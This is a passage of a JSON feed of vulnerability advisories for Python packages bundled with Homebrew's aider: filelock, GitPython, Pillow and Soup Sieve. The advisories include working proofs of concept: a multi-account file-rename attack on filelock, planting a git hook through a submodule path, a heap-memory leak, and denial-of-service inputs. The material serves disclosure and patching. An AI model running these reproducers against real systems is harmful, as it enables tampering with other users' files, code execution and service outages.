`O_CREAT | O_EXCL` and does not truncate an existing file. `WindowsFileLock` has not truncated at any version.\n- The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a `/tmp` cleaner, or after a release with the default `preserve_lock_file=False`, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated:\n  - rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created `0777` directory);\n  - rename from such a directory into a sticky one (`1777`) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with `EPERM`;\n  - `link(2)` into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means `fs.protected_hardlinks=0`. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs.\n- What the lock user loses: with the default `FileLock(path)` the lock truncates the file, which keeps its mode. With an explicit `mode` (a lock shared between users needs `0o666` or `0o660`, because `UnixFileLock` opens the file read-write), the lock also chmods the file to that mode. `_apply_explicit_mode` suppresses `PermissionError` only for files the lock user does not own. The lock user owns its own files, so the `fchmod` succeeds.\n- Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n- Not affected: a symlink (a file that points at another path) at the lock path, because `O_NOFOLLOW` makes the open fail with `ELOOP`; mutual exclusion between cooperating processes.\n\n## Affected code\n\nScanned commit `b831496b0273`: [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L144-L163), whose [`os.ftruncate` and `_apply_explicit_mode` calls](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) have only the `st_nlink != 0` guard (the file still has at least one name); [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L165-L168); [`_open_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L95-L121), which learns from its `O_EXCL` create whether this attempt made the file but hands that flag only to the `ENOSYS` fallback.\n\n## Introduced\n\nThe truncation of whatever is at the lock path dates from the initial commit ([2157efb](https://github.com/tox-dev/filelock/commit/2157efb8b57666699fcf15bf03c3771c1571279c), which opened with `O_TRUNC`). The chmod of a pre-existing inode (the kernel's identity for a file, independent of its name) came with [d7e1e84](https://github.com/tox-dev/filelock/commit/d7e1e84e71ad) \"changed from os.umask to os.chmod\" ([#206](https://github.com/tox-dev/filelock/pull/206), 2023-03-22), first tag 3.10.2 (verified with `git tag --contains`). Before it the code passed the mode only to `open()`, which applies it to a file this call creates. The advisory range is therefore every release up to 4.2.0. The earlier group range `>= 3.10.0` understated it, as the review noted.\n\n## Mechanism\n\n`_open_lock_file` first tries `os.open(path, O_RDWR | O_NOFOLLOW | O_CREAT | O_EXCL, mode)`. With the lock user's file renamed to the lock path that fails with `FileExistsError`. The second `os.open(path, O_RDWR | O_NOFOLLOW)` succeeds, because the entry is a regular file the lock user owns, and returns `created = False`. `_acquire_native` passes `created` only to the `ENOSYS` branch. No process holds a `flock` on the renamed file, so `_lock_fd_nonblocking(fd)` succeeds at once and `_finalize_locked_fd(fd)` runs: `os.fstat`, `st_nlink != 0`, `os.ftruncate(fd, 0)`, then `os.fchmod(fd, mode)` when the lock has an explicit mode. Nothing in that path tells a lock file from any other regular file; a link count of 2 and a non-empty file both pass. `O_NOFOLLOW` does not help because the entry is the file itself (or a hard link, an ordinary directory entry for the same inode), not a symlink to it. There is no race: the other user renames or links once and waits for the next acquire. `AsyncUnixFileLock` inherits `_finalize_locked_fd` unchanged.\n\nThe scanner measured three variants at the same commit, same accounts (`victim` uid 1000, `attacker` uid 1001). First, a rename within a `0777` directory: the next `FileLock(\"jobs.lock\", mode=0o666)` of `victim` empties the `0600` journal of `victim` renamed to `jobs.lock` and sets it to `0666`; `attacker` then reads what `victim` keeps writing through its open descriptor. Second, a rename of a two-name file (`ln /tmp/cache/blob ~/env/blob`, `0644`) from a `0777` directory, `fs.protected_hardlinks=1`: after `mv /tmp/cache/blob /tmp/cache/app.lock` and `FileLock(\"/tmp/cache/app.lock\", mode=0o666)` as `victim`, `~/env/blob` has `2 links, mode 666, 0 bytes` and `echo pwned >> /home/victim/env/blob` as `attacker` succeeds, in a directory `attacker` cannot write. Third, `os.link(notes, lock_path)` in a `1777` directory with `fs.protected_hardlinks=0`: `notes.txt` (`0644`, in the home of `victim`) ends up 0 bytes with mode `0666`, and `open(notes, \"w\")` as `attacker` then succeeds. With plain `FileLock(lock_path)` a `0600` file ends up empty with its mode unchanged. The planted name stays after release, so every later acquire truncates the file again.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-KO573NWI`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport secrets\nimport shutil\nimport stat\nimport subprocess\nimport sys\n\n# set up: a directory every user may write, without the sticky bit\nshared = \"/tmp/renamed-lock-file-demo\"\nshutil.rmtree(shared, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\njournal = f\"{shared}/victim-journal.log\"\nlock_path = f\"{shared}/jobs.lock\"\n\nvictim = subprocess.Popen(\n    [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"/tmp/repro.d/victim_job_runner.py\", shared],\n    stdin=subprocess.PIPE,\n    stdout=subprocess.PIPE,\n    text=True,\n)\n\n\ndef victim_runs(job):\n    victim.stdin.write(job + \"\\n\")\n    victim.stdin.flush()\n    assert victim.stdout.readline() == \"done\\n\"\n\n\ndef as_attacker(script, argument):\n    command = [\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, f\"/tmp/repro.d/{script}\", argument]\n    return subprocess.run(command, capture_output=True, text=True, check=True).stdout\n\n\n# before the attack: one job leaves the lock file and a 0600 journal with one line in it\nvictim_runs(\"job 1\")\njournal_before = os.stat(journal)\njournal_content_before = open(journal).read()\nattacker_read_before = as_attacker(\"attacker_read_file.py\", journal)\nprint(\n    f\"CONTROL  journal: inode {journal_before.st_ino}, uid {journal_before.st_uid}, \"\n    f\"mode {stat.S_IMODE(journal_before.st_mode):o}, content {journal_content_before!r}\"\n)\nprint(f\"CONTROL  attacker reads the journal: {attacker_read_before!r}\")\n\n# attack\nas_attacker(\"attacker_rename_journal.py\", shared)\n\n# the victim takes its lock again, then notes a secret in its journal through the descriptor it holds\nsecret = secrets.token_hex(8)\nvictim_runs(f\"job 2 {secret}\")\nvictim.stdin.close()\nvictim.wait()\n\n# check: the victim's private journal must not be emptied, widened to 0666, or readable by the attacker\nlock_after = os.stat(lock_path)\nlock_content_after = open(lock_path).read()\nattacker_read_after = as_attacker(\"attacker_read_file.py\", lock_path)\nprint(\n    f\"OBSERVED lock path: inode {lock_after.st_ino}, uid {lock_after.st_uid}, \"\n    f\"mode {stat.S_IMODE(lock_after.st_mode):o}, content {lock_content_after!r}\"\n)\nprint(f\"OBSERVED attacker reads the lock path: {attacker_read_after!r}\")\n\nattacker_was_denied = attacker_read_before == \"permission denied\\n\"\nlock_path_is_the_journal = (lock_after.st_dev, lock_after.st_ino) == (journal_before.st_dev, journal_before.st_ino)\njournal_was_emptied = \"job 1\" in journal_content_before and \"job 1\" not in lock_content_after\njournal_was_widened = stat.S_IMODE(journal_before.st_mode) == 0o600 and stat.S_IMODE(lock_after.st_mode) == 0o666\nattacker_reads_the_secret = secret in attacker_read_after\nbug = (\n    attacker_was_denied\n    and lock_path_is_the_journal\n    and journal_was_emptied\n    and journal_was_widened\n    and attacker_reads_the_secret\n)\nprint(\"BUG\" if bug else \"OK\")\n```\n\n**`repro.d/attacker_read_file.py`**\n\n```python\nimport sys\n\ntry:\n    print(open(sys.argv[1]).read(), end=\"\")\nexcept PermissionError:\n    print(\"permission denied\")\n```\n\n**`repro.d/attacker_rename_journal.py`**\n\n```python\nimport os\nimport sys\n\nshared_directory = sys.argv[1]\n\n# needs only write access to the directory: no sticky bit, so any user may rename any entry in it\nos.rename(f\"{shared_directory}/victim-journal.log\", f\"{shared_directory}/jobs.lock\")\n```\n\n**`repro.d/victim_job_runner.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import FileLock\n\nshared_directory = sys.argv[1]\n\njournal_fd = os.open(f\"{shared_directory}/victim-journal.log\", os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)\n# UnixFileLock opens the lock file O_RDWR, so a lock that other users of the directory also take needs mode=0o666\nlock = FileLock(f\"{shared_directory}/jobs.lock\", mode=0o666, timeout=5)\n\nfor job in sys.stdin:\n    with lock:\n        os.write(journal_fd, f\"ran {job}\".encode())\n    print(\"done\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other account\n    participant D as shared directory (writable, not sticky)\n    participant V as lock user: FileLock(\"jobs.lock\", mode=0o666)\n    participant K as kernel\n    Note over V,D: victim-journal.log, owner victim, mode 0600 (the other account cannot read it)\n    A->>D: mv victim-journal.log jobs.lock (one rename, no race)\n    V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW|O_CREAT|O_EXCL) -> EEXIST\n    V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW) -> fd (regular file, created=False)\n    V->>K: flock(fd, LOCK_EX|LOCK_NB) -> ok (no holder)\n    rect rgb(255, 214, 214)\n        V->>K: fstat(fd), st_nlink != 0\n        V->>K: ftruncate(fd, 0)\n        V->>K: fchmod(fd, 0o666)\n        Note over V,K: the journal's inode is now empty and world read-write, still owned by victim\n    end\n    V->>K: write(\"ran job 2 <secret>\") through the journal descriptor it still holds\n    A->>D: read jobs.lock -> \"ran job 2 <secret>\"\n```\n\n## Evidence\n\nThe scanner reproducer (`victim` and `attacker` accounts, root-created `0777` directory without the sticky bit under `/tmp`, default sysctls, Linux 6.1, CPython 3.14.8, overlayfs; lock `FileLock(path, mode=0o666, timeout=5)`). It printed `CONTROL journal: inode 296383, uid 1000, mode 600, content 'ran job 1\\n'` and `CONTROL attacker reads the journal: 'permission denied\\n'`. After the rename and the second job of `victim` it printed `OBSERVED lock path: inode 296383, uid 1000, mode 666, content 'ran job 2 f4bc9a4e04c3f556\\n'` and `OBSERVED attacker reads the lock path: 'ran job 2 f4bc9a4e04c3f556\\n'`, last line `BUG`. The verdict requires that the earlier read by `attacker` failed, that the lock path is the journal's inode, that the old line is gone, that the mode went from `0600` to `0666`, and that the later read by `attacker` contains the secret. It runs in under a second with no race. The scanner ran the two-name and `link(2)` variants above by hand at the same commit (commands and results in its report), not through the script.\n\nMaintainer triage: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 release image. The independent review (`soft-open`) confirmed the mechanism and that the hard-link and two-name variants go through the same two calls.\n\n## Impact\n\nThe file's content is lost in every configuration, including for processes that hold the file open and under every other name the file has. With an explicit permissive `mode`, the other user can read and modify everything the lock user writes afterwards, while the file still belongs to the lock user. The other user can rename the file back to its old name after the acquire. It stays there with the lock's mode, and the lock user's next acquire creates a fresh lock file.\n\nSomebody who may rename a single-name file may also unlink it, so losing such a file under its name is not new. What the lock adds are two operations on the inode that the other user cannot perform, `ftruncate` and `fchmod`, run with the lock user's privileges. Those matter for a descriptor the lock user still holds, for a second name of the file, and for programs that trust the file's ownership. The other user does not choose the mode, and the lock user writes no bytes the other user chose. Mutual exclusion is not affected.\n\n## Workarounds\n\n- Keep the lock file in a directory no other account can write, or in a sticky directory on a filesystem where no directory holding the lock user's files is writable by others. On Linux keep `fs.protected_hardlinks=1` (the default on mainstream distributions), which closes the hard-link route.\n- Do not pass a permissive explicit `mode` (`0o666`, `0o660`, `0o644`) unless accounts share the lock; without a mode the exposure is the truncation only.\n- Keep the lock file in place (`preserve_lock_file=True`). Once a lock file owned by the lock user exists in a sticky directory, another user cannot rename or link over it.\n- Where the lock does not need `flock` semantics, `SoftFileLock` applies its mode only to the marker it created with `O_EXCL` and does not truncate an existing file.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/835\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (36 findings; this one rated high by the scanner)\n- 2026-10-16 00:46 UTC: draft advisory created (first as a group of four findings, then narrowed to `ANT-2026-KO573NWI`; the other three security findings have their own advisories)\n- 2026-10-16 01:16 UTC: fix PR #835 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-69hj-f68j-2879"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112909"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/835"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-114145","published":"2026-10-29T21:58:10Z","modified":"2026-10-29T21:58:10Z","upstream":["GHSA-83vg-56qc-22m7","CVE-2026-114145"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.2.1","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython validates a submodule's \".git\" path only after cloning into it (RCE)","details":"### Summary\n\n\n`create_submodule(name, path, url)` clones a submodule into the repo's own `.git`\ndirectory before it rejects the path. A `path` of \".git/hooks\" is accepted by the\npre-clone check, so the submodule is cloned straight into the live hooks directory,\nand a file named `post-checkout` in the submodule becomes an executable\n`.git/hooks/post-checkout`. On 3.2.0+ the later index check does raise `ValueError`,\nbut only after the clone already wrote to disk, and it does not remove the planted\nhook; on 3.1.x there is no such check and the call succeeds silently. Either way the\nhook runs on the next git operation (e.g. checkout), giving code execution.\n\n### Details\n\n\nThe checkout path is validated too late, after the clone has already mutated disk.\nThis breaks the \"validate before mutation\" invariant that commit 43a43cd8 (\"Validate\nsubmodule checkout and metadata paths before mutation\") set out to enforce.\n\nSubmodule.add() calls the permissive path check before cloning, and the strict check\nonly reaches the \".git\" alias at index time, after _clone_repo has written to disk:\n\ngit/objects/submodule/base.py (Submodule.add)\n  599: path = cls._to_relative_path(repo, path)           # accepts \".git/hooks\"\n  673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into <worktree>/.git/hooks\n  714: index.add([sm], write=True)                         # strict check only triggers here\n\ngit/index/base.py (IndexFile._preprocess_add_items)\n  732: _validate_repo_path(entry.path)                     # rejects \".git\", too late\n\n_to_relative_path only blocks `..`/absolute/out-of-tree paths; `.git` aliases are\nrejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and\nruns at the index boundary. The ValueError it raises at line 732 does not roll back\nwhat _clone_repo already wrote.\n\nVersion-dependent behavior:\n- 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the\n  hook is already on disk and is not removed (incorrect order of validation vs. clone).\n- 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does\n  not reject `.git`; create_submodule(path=\".git/hooks\", ...) returns with no error at\n  all and the hook is planted silently.\n\n### Proof of concept\n\n\nSetup:\n  evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload)\n  victim/  : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO\n             sample hooks (the state of a minimal/CI checkout, or `git init` with an empty\n             template dir, or GIT_TEMPLATE_DIR/init.templateDir empty)\n\nimport git, os.path as osp\ntry:\n    git.Repo(\"victim\").create_submodule(name=\"x\", path=\".git/hooks\", url=osp.abspath(\"evilsub\"))\nexcept ValueError:\n    pass   # 3.2.0+: \".git\" is rejected, but only AFTER the clone, so the plant already happened.\n           # 3.1.x: no exception is raised at all; the call succeeds and still plants the hook.\n\n#### victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every\n#### affected version. Any later checkout runs it:\n####  git -C victim checkout <other-branch>   ->   the hook runs   ->   code execution\n\nVerified live:\n- tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from\n  git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and\n  `git checkout` executed it.\n- 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted\n  and executed by `git checkout`.\n\n### Impact\n\nArbitrary code execution. A library/app that creates a submodule from an\nattacker-influenced `path` ends up with an attacker-controlled executable in\n`.git/hooks`, which git runs on ordinary later operations. This affects any service\nthat derives a submodule checkout path from untrusted data, e.g. one that ingests a\nsubmodule spec (name/path/url) from a user-supplied manifest or API request and feeds\n`path` into create_submodule. On 3.2.0+ the library's own validation is the thing that\nfails: it correctly rejects the `.git` path, but only after the submodule has already\nbeen cloned into place, so an app that traps the ValueError reasonably believes the\nunsafe path was blocked.\n\nPreconditions (hence AC:H): (1) the app passes an attacker-influenced submodule `path`;\n(2) the target hook name is free in `.git/hooks`, true for minimal/CI/container\ncheckouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default\nsample hooks present, `git clone` refuses the non-empty destination and no plant occurs.\n\nAffected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08\n(3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-83vg-56qc-22m7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114145"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2264"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/97eadb888d2f99567e3113f4e455be4ca128f697"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.1"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-114501","published":"2026-10-29T21:58:11Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-654x-cwwv-5j9c","BIT-pillow-2026-114501","CVE-2026-114501","PYSEC-2026-4336"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1","details":"### Summary\n\nWhen [`PILLOW_ALIGNMENT`](https://pillow.readthedocs.io/en/stable/reference/block_allocator.html#memory-pools) is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier. \n\n### Details\n\nWith an alignment above 1, the default allocator pads each row up to `aligned_linesize` and starts the first row at an aligned offset into the block. It then exports `im->blocks[0].ptr` as `xsize * ysize` tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row.\n\nTested vulnerable on 11.2.1, 12.3.0, 4c1ed27a5.\n\n### PoC\n\nWhether things leak may depend on allocator configuration. This does show a leak on my Mac.\n\n```python\nimport os\n\nos.environ[\"PILLOW_ALIGNMENT\"] = \"64\"\n\nfrom PIL import Image\n\n# Image A: 64 px wide, so its rows fill the whole aligned stride\na = Image.new(\"L\", (64, 40), 0x41).transpose(Image.Transpose.FLIP_LEFT_RIGHT)\ndel a\n\n# Image B: 61 px wide, so each row has 3 bytes of padding; its pixels are all 0\nb = Image.new(\"L\", (61, 40), 0).transpose(Image.Transpose.FLIP_LEFT_RIGHT)\n\ntry:\n    exported = Image.fromarrow(b, b.mode, b.size).tobytes()\nexcept ValueError as e:\n    print(\"Not vulnerable:\", e)\nelse:\n    if leaked := len(exported) - exported.count(0):\n        raise RuntimeError(f\"{leaked} of {len(exported)} exported bytes are not B's pixels\")\n```\n\n### Impact\n\nInformation disclosure for applications that set `PILLOW_ALIGNMENT` and export images to Arrow. Likely any image whose row length isn't a multiple of the alignment will do. In a service handling several users' images, one user's exported data can contain pixels from another user's image, or other stale heap contents.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-654x-cwwv-5j9c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114501"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/10172"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/19f64946eb247b973dd4560be7dea3bf979d2e6a"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-126190","published":"2026-11-13T09:52:51Z","modified":"2026-11-13T09:52:51Z","upstream":["GHSA-mmhr-3c5m-f64f","CVE-2026-126190"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.0","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.8.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.8.3","key":"pkg:pypi/soupsieve@2.8.3","resource":"soupsieve"}]},"summary":"Soup Sieve: Polynomial-time denial of service in the descendant combinator","details":"## Summary\n\nMatching a selector that uses the descendant combinator (`a b`) takes time that grows polynomially with how deeply the document is nested, and each extra descendant combinator in the selector raises the degree by one. A selector with `k` descendant combinators takes `O(n^(k+1))` time on a chain of `n` nested elements.\n\nAn attacker who controls the HTML or XML that an application passes to Soup Sieve (directly, or through Beautiful Soup's `select()`, `select_one()`, `css.select()`, etc.) can send a very small, deeply nested document that keeps a CPU busy for seconds to minutes against an ordinary selector such as `section div div`.\n\n## Details\n\nTo match `a b`, Soup Sieve checks each element against `b` and then walks up through its ancestors looking for one that matches `a`. When the selector has more descendant combinators, the rest of the selector is tried again from each ancestor on that walk, and so on for every combinator. Nothing was reused between walks, so the same ancestors were matched against the same part of the selector over and over.\n\nThe worst case is when the leftmost part of the selector never matches, as in `section div div` against a document of nested `<div>` with no `<section>`: every walk goes all the way to the root and no search can stop early.\n\n### Timings\n\nExample timings with `html.parser` on Soup Sieve 3.0.4 and 4.0, using a document of nested `<div>` (5 bytes each) and no matches:\n\n| Nesting depth | Input size | Selector | 3.0.4 | 4.0 |\n| --- | --- | --- | --- | --- |\n| 2,000 | 10 KB | `section div` | 1.6 s | 0.05 s |\n| 4,000 | 20 KB | `section div` | 5.1 s | 0.01 s |\n| 400 | 2 KB | `section div div` | 6.7 s | < 0.01 s |\n| 800 | 4 KB | `section div div` | 53.0 s | < 0.01 s |\n| 100 | 0.5 KB | `section div div div` | 2.5 s | < 0.01 s |\n| 200 | 1 KB | `section div div div` | 40.9 s | < 0.01 s |\n\nNone of these selectors use unusual syntax.\n\n## Proof of concept\n\n```py\nimport time\nimport bs4\nimport soupsieve as sv\n\nsoup = bs4.BeautifulSoup('<div>' * 200, 'html.parser')\nt = time.process_time()\nsv.select('section div div div', soup)\nprint(time.process_time() - t)\n```\n\nOn affected versions, doubling the nesting depth multiplies the time by about 2^(k+1), where `k` is the number of descendant combinators: about 4x for `section div`, 8x for `section div div`, and 16x for `section div div div`.\n\n## Impact\n\nApplications are affected if they run selectors with descendant combinators against documents that untrusted users can influence, such as scrapers, HTML sanitizers or filters, and services that process uploaded or fetched markup. Descendant combinators are among the most common parts of CSS selectors, and a document of about 1 KB is enough to tie up a worker for close to a minute. Applications that only run selectors against trusted documents are not affected.\n\n## Patches\n\nFixed in 4.0 by [facelessuser/soupsieve#351](https://github.com/facelessuser/soupsieve/pull/351). Whether an element is, or has an ancestor that is, a match for part of a selector depends only on its parent, so Soup Sieve now caches that result per element and relation for every element visited on the walk. Each descendant combinator is then linear in the size of the document. Results are unchanged, and ordinary documents are no slower.\n\nCaching is enabled by default, so no changes are needed beyond upgrading. The `NOCACHE` flag is a temporary fallback for users who run into problems with caching, and it is planned for removal. It uses the old uncached matching, so selectors compiled with `NOCACHE` are still subject to polynomial time and shouldn't be used with descendant combinators on untrusted input.\n\n## Workarounds\n\nIf users can't upgrade:\n\n- Use as few descendant combinators as they can in selectors that run on untrusted documents. Where the structure of the\n  document is known, the child combinator (`a > b`) only looks at the parent and is not affected.\n- Limit the size and nesting depth of untrusted documents before selecting on them.\n- Run selection on untrusted input with a time limit, for example in a worker process that can be stopped.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-mmhr-3c5m-f64f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126190"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/pull/351"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/ff1a5ce7e5addc31626d7b6053511fecdb4f6320"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/4.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-126191","published":"2026-11-14T10:01:12Z","modified":"2026-11-14T10:01:12Z","upstream":["GHSA-6655-6qjp-jx7x","CVE-2026-126191"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.0.2","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.8.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.8.3","key":"pkg:pypi/soupsieve@2.8.3","resource":"soupsieve"}]},"summary":"Soup Sieve: Exponential ReDoS in selector compilation via \\9-run in CSS_ESCAPES/IDENTIFIER","details":"### Summary\nThe IDENTIFIER/CSS_ESCAPES regex (css_parser.py:119-124) exhibits exponential backtracking on a run of ambiguous digit-escapes (`\\9`) in an attribute-name or tag position of an otherwise well-formed selector. It fires at compile time (before the SELECTOR_LIMIT guard) via the public `soupsieve.compile()` and BeautifulSoup `.select()`.\n\n### PoC (verified on soupsieve 2.9.2)\n\n    import soupsieve as sv\n    sv.compile('[a' + '\\\\9'*26 + '=x]')   # ~57 bytes -> ~10s; ~16x time per +4 chars\n\n### Novelty\nDistinct from the patched GHSA-836r-... (VALUE regex) and GHSA-2wc2-... (comma-list) advisories, which are fixed in 2.9.2; this is a different regex/vector.\n\n### Reachability\nCSS selectors are usually developer-controlled, so exposure requires an application that compiles UNTRUSTED selector strings (web-scraping-as-a-service, no-code/query builders, user-defined extraction rules). Where selectors are user-supplied, a ~60-byte string hangs the worker.\n\n### Note\nThis issue was fixed in version 3.0.0, which has been yanked from the PyPI registry. Use versions 3.0.2 and above to upgrade.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-6655-6qjp-jx7x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126191"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/pull/300"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/dbfa2854ff31a863326bd6660d4e55c6f068db9e"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-126192","published":"2026-11-13T09:52:51Z","modified":"2026-11-13T09:52:51Z","upstream":["GHSA-4j63-6c4x-wfg4","CVE-2026-126192"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.10.0","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.8.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstrea